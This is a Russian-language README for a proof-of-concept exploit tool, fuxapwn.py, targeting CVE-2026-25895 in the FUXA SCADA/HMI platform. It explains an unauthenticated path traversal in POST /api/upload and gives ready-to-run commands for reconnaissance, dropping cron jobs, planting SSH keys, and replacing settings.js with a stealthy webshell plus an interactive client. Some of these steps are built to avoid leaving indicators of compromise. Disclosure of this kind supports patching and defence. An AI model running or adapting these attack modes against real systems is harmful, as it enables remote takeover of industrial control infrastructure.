
POC-эксплойт для CVE-2026-25895 FUXA: неаутентифицированный Path Traversal -> произвольная запись файлов -> RCE
Неаутентифицированная (pre-auth) произвольная запись файлов в FUXA — SCADA/HMI-платформе на базе Node.js. Цепочка доводится до удалённого выполнения кода через несколько отдельных примитивов, срабатывающих после записи. Работает даже при secureEnabled = true (при включённой аутентификации), поскольку у уязвимой конечной точки нет подключённого middleware.
Также доступно на ExploitDB: https://www.exploit-db.com/exploits/52568
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-25895 |
| Затронутые версии | FUXA <= 1.2.9 |
| Исправлено в | FUXA 1.2.10 |
| Вендор | frangoteam / FUXA |
| Вектор атаки | Сеть (HTTP/HTTPS) |
| Аутентификация | Не требуется |
| Воздействие | Произвольная запись файлов, удалённое выполнение кода |
| CVSS v3.1 | 9.8 (Критический) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Исследователь | Anthony Cihan (Hann1bl3L3ct3r) |
Конечная точка FUXA POST /api/upload (server/api/projects/index.js:193) регистрируется без middleware, в обход как проверки JWT/API-ключа secureFnc, так и шлюза прав администратора, применяемого ко всем остальным конечным точкам управления проектами. Внутри обработчика поле destination из тела JSON конкатенируется в путь файловой системы только с ведущим подчёркиванием и без какой-либо нормализации или проверки на выход за пределы каталога:
let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
filePath = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);
Значение destination вида a/../../../../../etc (где a поглощает ведущее подчёркивание) заставляет path.resolve в Node подняться за пределы appDir в любое место, в которое может писать процесс FUXA. Поскольку перед fs.writeFileSync выполняется условный вызов fs.mkdirSync(dir, { recursive: true }), атакующий также может создавать родительские каталоги по мере необходимости.
В результате получается неаутентифицированный примитив произвольной записи файлов, доступный на стандартном HTTP-порту (1881) и эксплуатируемый до аутентификации независимо от того, включил ли администратор FUXA вход в систему.
Неаутентифицированный удалённый атакующий может:
settings.js, чтобы добиться выполнения кода при следующем перезапуске FUXA/etc/cron.d/<file>) для выполнения кода в течение 60 секунд, если FUXA запущен от имени root (по умолчанию в Docker-образе вендора)/root/.ssh/authorized_keys или ~/.ssh/authorized_keys любого пользователяЭто находка критической степени тяжести, эксплуатируемая до аутентификации, на ICS/SCADA-платформе, используемой для управления промышленными процессами.
| Версия | Статус |
|---|---|
<= 1.2.9 | Уязвима |
1.2.10+ | Исправлена |
Эксплуатация подтверждена на чистой установке FUXA 1.2.9 на Ubuntu Server.
Однофайловый скрипт на Python 3 с одной сторонней зависимостью (requests).
pip install requests
python3 fuxapwn.py --help
Определите пользователя ОС, под которым работает сервис, доступность Node-RED и любые другие учётные записи на хосте, не записывая ничего необычного:
python3 fuxapwn.py -u http://target:1881 --mode recon \
--probe-root --probe-home
Запишите нейтральную метку /tmp/healthcheck (без специфичных для CVE индикаторов компрометации в имени файла или содержимом):
python3 fuxapwn.py -u http://target:1881 --mode canary
Если FUXA работает от имени root, поместите файл cron, который сработает в течение 60 секунд без необходимости перезапуска FUXA:
python3 fuxapwn.py -u http://target:1881 --mode cron \
--cron-cmd 'id > /tmp/fx.txt 2>&1'
settings.jsУстановите HTTP-прослушиватель веб-шелла внутри процесса FUXA (Node) (активируется при следующем холодном запуске, поскольку require() кэширует модули), затем перейдите в интерактивный REPL после перезапуска FUXA:
# Stage the payload — replaces settings.js but preserves the target's
# real configuration (uiPort, allowedOrigins, secureEnabled, etc.) so the
# application keeps serving normally.
python3 fuxapwn.py -u http://target:1881 --mode webshell \
--appdata /opt/FUXA/server/_appdata --ws-port 31337
# Once FUXA restarts, connect to the installed webshell.
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
--ws-host target --ws-port 31337 \
--ws-path /_abc123 --ws-token <printed-above> --interact
| Режим | Назначение |
|---|---|
recon | Неаутентифицированная утечка информации через GET /api/settings; определяет пользователя ОС, под которым работает сервис, по абсолютным путям; сообщает статус Node-RED; опциональные активные проверки --probe-root и --probe-home |
canary | Подтверждение примитива записи файлов с нейтральным путём по умолчанию |
settings-rce | Заменяет settings.js полезной нагрузкой, выполняющей настраиваемую команду при следующем холодном запуске FUXA |
ssh-key | Записывает открытый ключ в authorized_keys целевого пользователя |
drop | Произвольная запись файла в любой абсолютный путь |
cron | Записывает /etc/cron.d/<name> для получения RCE в течение 60 секунд без ожидания перезапуска FUXA (требуется запуск FUXA от имени root) |
webshell | Устанавливает HTTP-прослушиватель веб-шелла внутри процесса FUXA (Node) через замену settings.js (активируется при следующем холодном запуске) |
webshell-exec | Клиент для уже установленного веб-шелла; одиночная команда или REPL через --interact |
Полная справка по флагам для каждого режима: python3 fuxapwn.py --help.
GET /api/settings (server/api/index.js:103) регистрируется без middleware и возвращает актуальную конфигурацию выполнения, слегка отредактированную (сервер удаляет secretCode и smtp.password перед отправкой). Остальные поля раскрывают абсолютные пути (appDir, workDir, userSettingsFile, logsDir, uploadFileDir), которые обычно идентифицируют служебного пользователя, а также nodeRedEnabled — прямой признак вторичного пути неаутентифицированного RCE (см. ниже).
Когда FUXA запускается через npm start под локальной учётной записью, пути установки не содержат имени пользователя (например, установка расположена в /opt, /tmp или общем /app), а /root/ недоступен для записи, PoC переключается на перебор /home/<candidate>/ с записью нулевых байтов.